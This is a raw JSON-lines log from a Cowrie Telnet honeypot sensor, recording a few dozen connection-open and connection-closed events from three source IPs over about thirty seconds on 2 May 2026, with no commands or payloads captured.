{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ca9475f7f1","protocol":"telnet","message":"New connection: 74.208.239.44:58724 (159.203.135.109:23) [session: 93ca9475f7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:55.372539Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38528,"dst_ip":"10.17.0.5","dst_port":23,"session":"481fe3fa8125","protocol":"telnet","message":"New connection: 64.227.101.30:38528 (10.17.0.5:23) [session: 481fe3fa8125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:56.618213Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":59550,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b268e8999a","protocol":"telnet","message":"New connection: 74.208.239.44:59550 (159.203.135.109:23) [session: d7b268e8999a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:56.677222Z"}
{"eventid":"cowrie.session.closed","duration":43.79103231430054,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:56.889982Z","src_ip":"64.227.101.30","session":"272b9312084f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601954698562622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:57.596918Z","src_ip":"74.208.239.44","session":"3a3aba53aff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2584ed4a26b","protocol":"telnet","message":"New connection: 161.97.105.174:55122 (159.203.135.109:23) [session: b2584ed4a26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:46:57.602193Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a28b8d21c5","protocol":"telnet","message":"New connection: 64.227.101.30:39314 (10.17.0.5:23) [session: d4a28b8d21c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:00.059196Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52788,"dst_ip":"159.203.135.109","dst_port":23,"session":"47772c40d945","protocol":"telnet","message":"New connection: 161.97.105.174:52788 (159.203.135.109:23) [session: 47772c40d945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:00.430406Z"}
{"eventid":"cowrie.session.closed","duration":31.263661861419678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:00.535623Z","src_ip":"74.208.239.44","session":"77101917d417","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.70378589630127,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:00.782871Z","src_ip":"161.97.105.174","session":"f0366f652ed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f47333fef8","protocol":"telnet","message":"New connection: 74.208.239.44:33984 (159.203.135.109:23) [session: 96f47333fef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:01.047338Z"}
{"eventid":"cowrie.session.closed","duration":30.533437490463257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:01.219489Z","src_ip":"74.208.239.44","session":"028be46f8248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34148,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f8edf1014c0","protocol":"telnet","message":"New connection: 74.208.239.44:34148 (159.203.135.109:23) [session: 1f8edf1014c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:01.260566Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34186,"dst_ip":"159.203.135.109","dst_port":23,"session":"25bfbbf3f01d","protocol":"telnet","message":"New connection: 74.208.239.44:34186 (159.203.135.109:23) [session: 25bfbbf3f01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:01.323153Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41102,"dst_ip":"10.17.0.5","dst_port":23,"session":"58cde964b2b3","protocol":"telnet","message":"New connection: 64.227.101.30:41102 (10.17.0.5:23) [session: 58cde964b2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:01.486135Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34654,"dst_ip":"159.203.135.109","dst_port":23,"session":"5767aa2e314a","protocol":"telnet","message":"New connection: 74.208.239.44:34654 (159.203.135.109:23) [session: 5767aa2e314a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:01.982584Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34818,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdc694af5017","protocol":"telnet","message":"New connection: 74.208.239.44:34818 (159.203.135.109:23) [session: cdc694af5017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:02.221372Z"}
{"eventid":"cowrie.session.closed","duration":30.433920860290527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:03.033841Z","src_ip":"74.208.239.44","session":"e195c72d17e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"768e6b182e93","protocol":"telnet","message":"New connection: 74.208.239.44:35560 (159.203.135.109:23) [session: 768e6b182e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:03.320523Z"}
{"eventid":"cowrie.session.closed","duration":31.544740915298462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:03.401429Z","src_ip":"74.208.239.44","session":"e95e4417ac8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.208999156951904,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:03.768578Z","src_ip":"161.97.105.174","session":"6fe32f0e8ee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95e25c93a14","protocol":"telnet","message":"New connection: 161.97.105.174:52804 (159.203.135.109:23) [session: f95e25c93a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:03.889814Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":35962,"dst_ip":"159.203.135.109","dst_port":23,"session":"992940c52a76","protocol":"telnet","message":"New connection: 74.208.239.44:35962 (159.203.135.109:23) [session: 992940c52a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:03.936786Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":36278,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b131cd9eca","protocol":"telnet","message":"New connection: 74.208.239.44:36278 (159.203.135.109:23) [session: 56b131cd9eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:04.489553Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":37284,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf6ac51776a","protocol":"telnet","message":"New connection: 74.208.239.44:37284 (159.203.135.109:23) [session: cdf6ac51776a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:05.973387Z"}
{"eventid":"cowrie.session.closed","duration":31.46427869796753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:06.606887Z","src_ip":"74.208.239.44","session":"a879e0f32a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.519107580184937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:06.691567Z","src_ip":"74.208.239.44","session":"e97e05015d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48621153831482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:06.697082Z","src_ip":"74.208.239.44","session":"320db17aa876","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038392066955566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:06.784286Z","src_ip":"74.208.239.44","session":"69ccfd162c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766591787338257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:07.279035Z","src_ip":"74.208.239.44","session":"dcae46a86454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"11c7636081c2","protocol":"telnet","message":"New connection: 64.227.101.30:44114 (10.17.0.5:23) [session: 11c7636081c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:07.607310Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb2f155765ee","protocol":"telnet","message":"New connection: 74.208.239.44:38690 (159.203.135.109:23) [session: eb2f155765ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:07.735109Z"}
{"eventid":"cowrie.session.closed","duration":34.92697215080261,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:08.264496Z","src_ip":"161.97.105.174","session":"a35b28489a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.028180837631226,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:08.921334Z","src_ip":"64.227.101.30","session":"64f3ff5abfe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":39642,"dst_ip":"159.203.135.109","dst_port":23,"session":"410b1bb55b43","protocol":"telnet","message":"New connection: 74.208.239.44:39642 (159.203.135.109:23) [session: 410b1bb55b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:09.087141Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":39826,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a198fc59236","protocol":"telnet","message":"New connection: 74.208.239.44:39826 (159.203.135.109:23) [session: 5a198fc59236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:09.374504Z"}
{"eventid":"cowrie.session.closed","duration":30.922394514083862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:10.329906Z","src_ip":"74.208.239.44","session":"5e11a323b68e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":41046,"dst_ip":"159.203.135.109","dst_port":23,"session":"7434b5d1f016","protocol":"telnet","message":"New connection: 74.208.239.44:41046 (159.203.135.109:23) [session: 7434b5d1f016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:11.113962Z"}
{"eventid":"cowrie.session.closed","duration":30.895628929138184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:11.167608Z","src_ip":"161.97.105.174","session":"1bc75e937f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":41358,"dst_ip":"159.203.135.109","dst_port":23,"session":"122c3fb61059","protocol":"telnet","message":"New connection: 74.208.239.44:41358 (159.203.135.109:23) [session: 122c3fb61059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:12.518217Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":42114,"dst_ip":"159.203.135.109","dst_port":23,"session":"c50350ca8441","protocol":"telnet","message":"New connection: 74.208.239.44:42114 (159.203.135.109:23) [session: c50350ca8441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:12.786134Z"}
{"eventid":"cowrie.session.closed","duration":31.978397369384766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:12.884746Z","src_ip":"74.208.239.44","session":"fb0a76d484d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38774585723877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:13.001048Z","src_ip":"74.208.239.44","session":"f03849b018b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41018843650818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:13.292295Z","src_ip":"74.208.239.44","session":"222bbefae116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":42554,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a9c7eaef894","protocol":"telnet","message":"New connection: 74.208.239.44:42554 (159.203.135.109:23) [session: 1a9c7eaef894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:13.468575Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44052,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9c518c6913","protocol":"telnet","message":"New connection: 64.227.101.30:44052 (10.17.0.5:23) [session: cc9c518c6913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:14.563410Z"}
{"eventid":"cowrie.session.closed","duration":0.07219600677490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:14.635485Z","src_ip":"64.227.101.30","session":"cc9c518c6913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.70008039474487,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:14.646547Z","src_ip":"161.97.105.174","session":"45b2861f28aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024030685424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:14.728822Z","src_ip":"74.208.239.44","session":"5432e0166528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":43382,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ef496c1e9bd","protocol":"telnet","message":"New connection: 74.208.239.44:43382 (159.203.135.109:23) [session: 5ef496c1e9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:14.733140Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":43520,"dst_ip":"159.203.135.109","dst_port":23,"session":"38d6412c526e","protocol":"telnet","message":"New connection: 74.208.239.44:43520 (159.203.135.109:23) [session: 38d6412c526e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:15.047247Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":43974,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab455da7af55","protocol":"telnet","message":"New connection: 74.208.239.44:43974 (159.203.135.109:23) [session: ab455da7af55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:15.868395Z"}
{"eventid":"cowrie.session.closed","duration":30.477938413619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:15.902621Z","src_ip":"74.208.239.44","session":"b17d21add8d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.302820444107056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:16.459449Z","src_ip":"74.208.239.44","session":"854208752d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"9273a918d2ad","protocol":"telnet","message":"New connection: 74.208.239.44:44332 (159.203.135.109:23) [session: 9273a918d2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:16.562571Z"}
{"eventid":"cowrie.session.closed","duration":30.43992590904236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:16.946453Z","src_ip":"74.208.239.44","session":"b2b48d06cdfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcf4f43e7c8b","protocol":"telnet","message":"New connection: 74.208.239.44:44624 (159.203.135.109:23) [session: dcf4f43e7c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:17.055068Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44796,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f45d83a683","protocol":"telnet","message":"New connection: 74.208.239.44:44796 (159.203.135.109:23) [session: 47f45d83a683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:17.250418Z"}
{"eventid":"cowrie.session.closed","duration":31.076693296432495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:17.303652Z","src_ip":"74.208.239.44","session":"91383bf61259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":45076,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa6d8c844938","protocol":"telnet","message":"New connection: 74.208.239.44:45076 (159.203.135.109:23) [session: fa6d8c844938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:17.609509Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":45408,"dst_ip":"159.203.135.109","dst_port":23,"session":"de64f359b0d4","protocol":"telnet","message":"New connection: 74.208.239.44:45408 (159.203.135.109:23) [session: de64f359b0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:18.305358Z"}
{"eventid":"cowrie.session.closed","duration":30.997382640838623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:18.377311Z","src_ip":"74.208.239.44","session":"89d34c20a615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42584490776062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:19.042958Z","src_ip":"74.208.239.44","session":"1bc93da1b418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":46150,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f4837769dea","protocol":"telnet","message":"New connection: 74.208.239.44:46150 (159.203.135.109:23) [session: 0f4837769dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:19.302503Z"}
{"eventid":"cowrie.session.closed","duration":31.122741222381592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:20.326268Z","src_ip":"74.208.239.44","session":"aabd25378177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906977653503418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:21.979256Z","src_ip":"74.208.239.44","session":"c75b7a06d43f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37096667289734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:22.051849Z","src_ip":"74.208.239.44","session":"26ce7a3d5ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.260918617248535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:22.085641Z","src_ip":"74.208.239.44","session":"d88b59414985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":48106,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7df821b1bf","protocol":"telnet","message":"New connection: 74.208.239.44:48106 (159.203.135.109:23) [session: 6e7df821b1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:22.112994Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":48234,"dst_ip":"159.203.135.109","dst_port":23,"session":"2763a9fe4f8c","protocol":"telnet","message":"New connection: 74.208.239.44:48234 (159.203.135.109:23) [session: 2763a9fe4f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:22.272924Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":48312,"dst_ip":"159.203.135.109","dst_port":23,"session":"257b03ece8c6","protocol":"telnet","message":"New connection: 74.208.239.44:48312 (159.203.135.109:23) [session: 257b03ece8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:22.379989Z"}
{"eventid":"cowrie.session.closed","duration":36.955626487731934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:22.930697Z","src_ip":"161.97.105.174","session":"7d04e7f97031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.14995312690735,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:23.241242Z","src_ip":"64.227.101.30","session":"be4a92106173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":48938,"dst_ip":"159.203.135.109","dst_port":23,"session":"236d20feed1d","protocol":"telnet","message":"New connection: 74.208.239.44:48938 (159.203.135.109:23) [session: 236d20feed1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:23.247501Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":49224,"dst_ip":"159.203.135.109","dst_port":23,"session":"d60d78211e2a","protocol":"telnet","message":"New connection: 74.208.239.44:49224 (159.203.135.109:23) [session: d60d78211e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:23.922930Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":49456,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64222f2882e","protocol":"telnet","message":"New connection: 74.208.239.44:49456 (159.203.135.109:23) [session: c64222f2882e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:24.359405Z"}
{"eventid":"cowrie.session.closed","duration":31.001336812973022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:24.527888Z","src_ip":"74.208.239.44","session":"12b653762de4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":49931,"dst_ip":"159.203.135.109","dst_port":23,"session":"9854751368e5","protocol":"telnet","message":"New connection: 74.208.239.44:49931 (159.203.135.109:23) [session: 9854751368e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:25.316566Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":50334,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a9c6e12b863","protocol":"telnet","message":"New connection: 74.208.239.44:50334 (159.203.135.109:23) [session: 3a9c6e12b863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:26.306994Z"}
{"eventid":"cowrie.session.closed","duration":31.51276421546936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:26.489771Z","src_ip":"74.208.239.44","session":"2d15fbba182b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158712148666382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:26.531156Z","src_ip":"74.208.239.44","session":"93ca9475f7f1","protocol":"telnet"}
